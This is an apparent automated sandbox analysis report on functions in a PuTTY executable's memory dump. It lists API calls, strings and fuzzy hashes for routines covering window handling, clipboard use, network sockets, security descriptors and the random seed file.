Instruction ID: aebd94a811b8e4f142f9c55a0b1e334e7a0f80ac0216b803e87846e9a9d17ff1
Opcode Fuzzy Hash: 76109444bee550de1c4388e330ad174438b70be0a494ba9c3e13dd96a3241d5f
Instruction Fuzzy Hash: 2EB29073A282829BE7658E74D5407FE2FE2FB54388F705135EA0997B84DF38A901DB44

Function 00007FF6785F4C30 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 223windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00007FF6785F4C93
MapDialogRect.USER32 ref: 00007FF6785F4DF2
CreateWindowExA.USER32 ref: 00007FF6785F4E5F
SendMessageA.USER32 ref: 00007FF6785F4E76
MapDialogRect.USER32 ref: 00007FF6785F4F77
GetDlgItem.USER32 ref: 00007FF6785F4F82
SetWindowPos.USER32 ref: 00007FF6785F4FBC
MapDialogRect.USER32 ref: 00007FF6785F4FE3
MapDialogRect.USER32 ref: 00007FF6785F5016
GetWindowRect.USER32 ref: 00007FF6785F5026
SetWindowPos.USER32 ref: 00007FF6785F5065
ShowWindow.USER32 ref: 00007FF6785F5070

Strings

EDIT, xrefs: 00007FF6785F4E53
STATIC, xrefs: 00007FF6785F4DB2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: RectWindow$Dialog$MessageSend$CreateItemShow
String ID: EDIT$STATIC
API String ID: 2330346805-43825268
Opcode ID: 6e7706600d2d904500700ed94df90ccb8346061f418200c8f03e5ae947f2dfbc
Instruction ID: e0a500f4ff6bdd7c329f685893ea18433d98e1408572c0e534bdb42027a30c3a
Opcode Fuzzy Hash: 6e7706600d2d904500700ed94df90ccb8346061f418200c8f03e5ae947f2dfbc
Instruction Fuzzy Hash: 23A159766187808AE760CB26F84476BBBA1FBD9B84F604025DA8D87B58CF7CD945CF04

Function 00007FF67869BB90 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786A841C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786A8442

Part of subcall function 00007FF6786A8398: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786A83C1

GetModuleHandleExW.KERNEL32 ref: 00007FF67869BC3A
GetModuleFileNameW.KERNEL32 ref: 00007FF67869BC5C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869C06F

Part of subcall function 00007FF6786A8484: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786A84B2

Strings

<program name unknown>, xrefs: 00007FF67869BC66
(Press Retry to debug the application - JIT must be enabled), xrefs: 00007FF67869BF9D
Assertion failed!, xrefs: 00007FF67869BBC1
Program: , xrefs: 00007FF67869BBFB
File: , xrefs: 00007FF67869BD18
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 00007FF67869BF69
..., xrefs: 00007FF67869BCD5, 00007FF67869BDC7, 00007FF67869BE12, 00007FF67869BF35, 00007FF67869BFFA, 00007FF67869C027
Line: , xrefs: 00007FF67869BE63
Expression: , xrefs: 00007FF67869BED5

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo$Module$FileHandleName
String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program:
API String ID: 3031022502-1508414584
Opcode ID: d7d843c2f65a12b0c34e94e771a953dbeb68fb05c278f58f0e75c4f794b81323
Instruction ID: bbe3481c26e9d491cfea18c64c9b16b17751947e330004beb81832286aef1cae
Opcode Fuzzy Hash: d7d843c2f65a12b0c34e94e771a953dbeb68fb05c278f58f0e75c4f794b81323
Instruction Fuzzy Hash: ACC13953F28353A0FA109B72A9106B76A65AF64FC0F604036DD0DD3BD1EE3DED00A649

Function 00007FF6785D1EED Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 328windowtimeCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961
GetKeyboardState.USER32 ref: 00007FF6785D297B
GetKeyboardState.USER32 ref: 00007FF6785D299D
GetMessageTime.USER32 ref: 00007FF6785D2A27
ReleaseCapture.USER32 ref: 00007FF6785D2C1B
SetCapture.USER32 ref: 00007FF6785D2FD9

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CaptureCursorKeyboardMessageState$InfoLongMonitorReleaseSendShowTimeWindowZoomed
String ID: (
API String ID: 760066194-3887548279
Opcode ID: 570241226dc569d8556a6d44eafd03aa757bfd8765273278d836e16b3d774ded
Instruction ID: d45b6c4a58dfb675d28792fcfcb9c5b5baa0f5c019dbf7b4388620bb992bf072
Opcode Fuzzy Hash: 570241226dc569d8556a6d44eafd03aa757bfd8765273278d836e16b3d774ded
Instruction Fuzzy Hash: 77D1A027E3C6968AF7A48B35988537A6E90AF94750F340435CD4EC3A95CE6CFD40EB18

Function 00007FF67860F260 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 188networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00007FF67860F354
htonl.WS2_32 ref: 00007FF67860F35E
socket.WS2_32 ref: 00007FF67860F38E
SetHandleInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF67862C384), ref: 00007FF67860F3A2
WSAIoctl.WS2_32 ref: 00007FF67860F3ED
htonl.WS2_32 ref: 00007FF67860F458
socket.WS2_32 ref: 00007FF67860F48C
SetHandleInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF67862C384), ref: 00007FF67860F4A0
WSAIoctl.WS2_32 ref: 00007FF67860F4EB

Strings

addr->addresses && step.curraddr < addr->naddresses, xrefs: 00007FF67860F335
family == AF_UNSPEC, xrefs: 00007FF67860F2F2
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c, xrefs: 00007FF67860F2F9, 00007FF67860F33C

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: htonl$HandleInformationIoctlsocket
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c$addr->addresses && step.curraddr < addr->naddresses$family == AF_UNSPEC
API String ID: 156137457-251196645
Opcode ID: 8971d0b1c7270a30c2299cc67f2fcacbd3c90aabaff784f71aa1d9edac9d5cce
Instruction ID: c3ef669a9fe98795e55b86e54d756cae807fae75fca02037770e4c92e38f428c
Opcode Fuzzy Hash: 8971d0b1c7270a30c2299cc67f2fcacbd3c90aabaff784f71aa1d9edac9d5cce
Instruction Fuzzy Hash: C981D123A3860292FB648B249490A3A6AA0EF95760F244236D95DC77D4DF7CEC41DB4C

Function 00007FF678617130 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678617350: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,-00000008,?,00007FF678617538), ref: 00007FF67861740D
Part of subcall function 00007FF678617350: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,-00000008,?,00007FF678617538), ref: 00007FF67861747B
Part of subcall function 00007FF678617350: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,-00000008,?,00007FF678617538), ref: 00007FF678617485

LocalAlloc.KERNEL32 ref: 00007FF67861725D
InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF678617273
SetSecurityDescriptorOwner.ADVAPI32 ref: 00007FF67861728A
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6786172A2
GetLastError.KERNEL32 ref: 00007FF6786172E2
LocalFree.KERNEL32 ref: 00007FF678617305
LocalFree.KERNEL32 ref: 00007FF67861731A

Strings

unable to initialise security descriptor: %s, xrefs: 00007FF6786172C9
unable to set DACL in security descriptor: %s, xrefs: 00007FF6786172DB
unable to construct ACL: %s, xrefs: 00007FF67861723A
unable to allocate security descriptor: %s, xrefs: 00007FF6786172C0
unable to set owner in security descriptor: %s, xrefs: 00007FF6786172D2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocateErrorFreeLast$AllocDaclOwner
String ID: unable to allocate security descriptor: %s$unable to construct ACL: %s$unable to initialise security descriptor: %s$unable to set DACL in security descriptor: %s$unable to set owner in security descriptor: %s
API String ID: 436594416-3066058096
Opcode ID: d06c1e6c915d6b0c1d8c19af5bbfd37ba5b97767618dbb2da938d1d845b5b241
Instruction ID: 03cd4fa9374550bdaec0906cb161fb2ac5b98fb9e9e53bdb525461e41f8acaae
Opcode Fuzzy Hash: d06c1e6c915d6b0c1d8c19af5bbfd37ba5b97767618dbb2da938d1d845b5b241
Instruction Fuzzy Hash: E9519F32A18A82A1F7618F29E4153A77BA0EF94740F204034DA8D87759DF7DDD46DB48

Function 00007FF6785D11BB Relevance: 20.1, APIs: 10, Strings: 1, Instructions: 820windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786007C0: GetTickCount.KERNEL32 ref: 00007FF6786007E7
Part of subcall function 00007FF6786007C0: QueryPerformanceCounter.KERNEL32 ref: 00007FF678600808

TranslateMessage.USER32 ref: 00007FF6785D1219
GetKeyboardLayout.USER32 ref: 00007FF6785D14D2
GetKeyboardState.USER32 ref: 00007FF6785D14E3
SetKeyboardState.USER32 ref: 00007FF6785D3155
DefWindowProcW.USER32 ref: 00007FF6785D3732

Strings

+, xrefs: 00007FF6785D2347

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Keyboard$State$CountCounterLayoutMessagePerformanceProcQueryTickTranslateWindow
String ID: +
API String ID: 3269656489-2126386893
Opcode ID: 5048b1fd3e11757cdc2f02bb580d9d34742875738b81cee9be2e4fa771e52dc8
Instruction ID: 015b0230e9e24fe09b0e698bdc21a19fbf0bb7161a217c7da99aaf372040c4ca
Opcode Fuzzy Hash: 5048b1fd3e11757cdc2f02bb580d9d34742875738b81cee9be2e4fa771e52dc8
Instruction Fuzzy Hash: 9082D023E2C68285FBA08B34D4843BA2F91AF95394F344135CE8DC66D5DF6CEC859B19

Function 00007FF67860DA70 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678616460: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
Part of subcall function 00007FF678616460: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

GetProcAddress.KERNEL32 ref: 00007FF67860DB33

Part of subcall function 00007FF67860E210: CreateFileA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF67860E25D

GetEnvironmentVariableA.KERNEL32 ref: 00007FF67860DC25
GetEnvironmentVariableA.KERNEL32 ref: 00007FF67860DC3B
GetWindowsDirectoryA.KERNEL32 ref: 00007FF67860DCA5

Part of subcall function 00007FF678616750: RegQueryValueExA.ADVAPI32(?,?,?,?,?,00000001,00000000,00007FF67860DAC6), ref: 00007FF67861678D
Part of subcall function 00007FF678616750: RegQueryValueExA.ADVAPI32 ref: 00007FF6786167D4

Strings

HOMEPATH, xrefs: 00007FF67860DC29
SHGetFolderPathA, xrefs: 00007FF67860DB29
RandSeedFile, xrefs: 00007FF67860DAB7
\PUTTY.RND, xrefs: 00007FF67860DB77, 00007FF67860DBCE, 00007FF67860DC5C, 00007FF67860DCB2
Software\SimonTatham\PuTTY, xrefs: 00007FF67860DA98
shell32.dll, xrefs: 00007FF67860DB11
HOMEDRIVE, xrefs: 00007FF67860DC09

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CreateEnvironmentQueryValueVariable$AddressCloseDirectoryFileProcWindows
String ID: HOMEDRIVE$HOMEPATH$RandSeedFile$SHGetFolderPathA$Software\SimonTatham\PuTTY$\PUTTY.RND$shell32.dll
API String ID: 901926110-1528239033
Opcode ID: 28cc407d49ef5bbbb69a0de68a39b9953fd264344be2787beb1a124646fe071b
Instruction ID: dfbf2c871246c0cb7757d70483436448ac211915b844bd117db0b371a029b077
Opcode Fuzzy Hash: 28cc407d49ef5bbbb69a0de68a39b9953fd264344be2787beb1a124646fe071b
Instruction Fuzzy Hash: C961D562B3C65261FA209735A454BE71B909F88790F640231DE4DC77C6EE2CED45A70C

Function 00007FF6785DD2D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 150fileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF6785DD337
GetCurrentProcessId.KERNEL32 ref: 00007FF6785DD341
CreateFileA.KERNEL32 ref: 00007FF6785DD390
GetLastError.KERNEL32 ref: 00007FF6785DD450
CreateFileA.KERNEL32 ref: 00007FF6785DD4A9
WriteFile.KERNEL32 ref: 00007FF6785DD509
DeleteFileA.KERNEL32 ref: 00007FF6785DD517
CloseHandle.KERNEL32 ref: 00007FF6785DD544

Strings

%s::/%s.html>main, xrefs: 00007FF6785DD3C3
%s\putty_%lu_%llu.chm, xrefs: 00007FF6785DD349, 00007FF6785DD467

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: File$Create$CloseCurrentDeleteErrorHandleLastPathProcessTempWrite
String ID: %s::/%s.html>main$%s\putty_%lu_%llu.chm
API String ID: 4085685679-1808412575
Opcode ID: d976e458e8c62dd64c10ecddeec44299d36c0de5727f10c3b9b683b6b2cc316c
Instruction ID: 686528646fca896883ea94f7c7c14443f91e29d9ebe80c83b745472df72e7d9e
Opcode Fuzzy Hash: d976e458e8c62dd64c10ecddeec44299d36c0de5727f10c3b9b683b6b2cc316c
Instruction Fuzzy Hash: DB51D123A2864292F6909B31A8487772FA0BB46BA4F340234DE1DC77C5CF7CEC459B08

Function 00007FF6785D7D50 Relevance: 16.7, APIs: 11, Instructions: 183COMMON

Download Yara Rule

APIs

CreatePen.GDI32 ref: 00007FF6785D7E4E
SelectObject.GDI32 ref: 00007FF6785D7E65
MoveToEx.GDI32 ref: 00007FF6785D7E79
LineTo.GDI32 ref: 00007FF6785D7E9A
SelectObject.GDI32 ref: 00007FF6785D7EAA
CreatePen.GDI32 ref: 00007FF6785D7F29
SelectObject.GDI32 ref: 00007FF6785D7F40
Polyline.GDI32 ref: 00007FF6785D7F57
SelectObject.GDI32 ref: 00007FF6785D7F67
DeleteObject.GDI32 ref: 00007FF6785D7F6C
SetPixel.GDI32 ref: 00007FF6785D7FF6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Object$Select$Create$DeleteLineMovePixelPolyline
String ID:
API String ID: 1020918164-0
Opcode ID: 450bcdd224cc7f4c6583d93fecdf1e34ce695ac6226fb09f393737156ed8a644
Instruction ID: 624618667b3247c5bc42899d363534ec5e25908ac59769952121888d0a001400
Opcode Fuzzy Hash: 450bcdd224cc7f4c6583d93fecdf1e34ce695ac6226fb09f393737156ed8a644
Instruction Fuzzy Hash: 12719433A2865656F3508B35A88433ABB91BB94BA0F244036DE0DC7794DE7DED459B08

Function 00007FF678616F90 Relevance: 13.6, APIs: 9, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF678616FD0
OpenProcess.KERNEL32 ref: 00007FF678616FE2
GetLastError.KERNEL32 ref: 00007FF678617033
LocalAlloc.KERNEL32 ref: 00007FF678617058
GetLengthSid.ADVAPI32 ref: 00007FF67861708A
CopySid.ADVAPI32 ref: 00007FF6786170AE
CloseHandle.KERNEL32 ref: 00007FF6786170D4
CloseHandle.KERNEL32 ref: 00007FF6786170E4
LocalFree.KERNEL32 ref: 00007FF6786170F2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CloseHandleLocalProcess$AllocCopyCurrentErrorFreeLastLengthOpen
String ID:
API String ID: 621491157-0
Opcode ID: be4c0ee50220b4914d8cbec88b3ec0bc8c3512ae49324cd7ad89bb247be0c340
Instruction ID: 41cbc4b3274e8dcecca5c5be51bf67601dc78a832d587b05564cf6a82c788398
Opcode Fuzzy Hash: be4c0ee50220b4914d8cbec88b3ec0bc8c3512ae49324cd7ad89bb247be0c340
Instruction Fuzzy Hash: 54419227F2864252FA508B76A45473B6B91AF84F81F294034DD0EC7B89DE3CED45AB08

Function 00007FF6785D7060 Relevance: 13.6, APIs: 9, Instructions: 71clipboardmemorywindowCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32 ref: 00007FF6785D7087
GlobalLock.KERNEL32 ref: 00007FF6785D709C
GlobalUnlock.KERNEL32 ref: 00007FF6785D70C3
SendMessageA.USER32 ref: 00007FF6785D70E3
OpenClipboard.USER32 ref: 00007FF6785D70F0
EmptyClipboard.USER32 ref: 00007FF6785D70FA
SetClipboardData.USER32 ref: 00007FF6785D7108
CloseClipboard.USER32 ref: 00007FF6785D710E
GlobalFree.KERNEL32 ref: 00007FF6785D7127

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyFreeLockMessageOpenSendUnlock
String ID:
API String ID: 4091238221-0
Opcode ID: 951538910bdbc72113cd30d488f82dc269d8cb1585c1cd1720b85c1cf1ffabcc
Instruction ID: 4b03735fbaa0865e168b762c3b563bef3e0b0920f6c59e904858bfbf03f03a55
Opcode Fuzzy Hash: 951538910bdbc72113cd30d488f82dc269d8cb1585c1cd1720b85c1cf1ffabcc
Instruction Fuzzy Hash: A921C123B2921295FB915F72A898B361F91AF61FD1F289034CD1DCA794CE3CED459B08

Function 00007FF678617C30 Relevance: 13.3, APIs: 4, Strings: 3, Instructions: 1078COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678619170: GetCPInfo.KERNEL32(FFFFFFFE,00000000,0000022102FA6D50,?,00000000,00000000,00000000,?,00007FF678617CA2), ref: 00007FF6786192A5

GetACP.KERNEL32 ref: 00007FF678617CDA
GetOEMCP.KERNEL32 ref: 00007FF678617E30
MultiByteToWideChar.KERNEL32 ref: 00007FF678617E97

Strings

*#****o~**+++++-----++++|****L., xrefs: 00007FF678618E0E
CueaaaaceeeiiiAAE**ooouuyOUc$YPsaiounNao?++**!<>###||||++||++++++--|-+||++--|-+----++++++++##||#aBTPEsyt******EN=+><++-=... n2* , xrefs: 00007FF67861901F
!cL.Y|S"Ca<--R~o+23'u|.,1o>///?AAAAAAACEEEEIIIIDNOOOOOxOUUUUYPBaaaaaaaceeeeiiiionooooo/ouuuuypy, xrefs: 00007FF678618D9A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
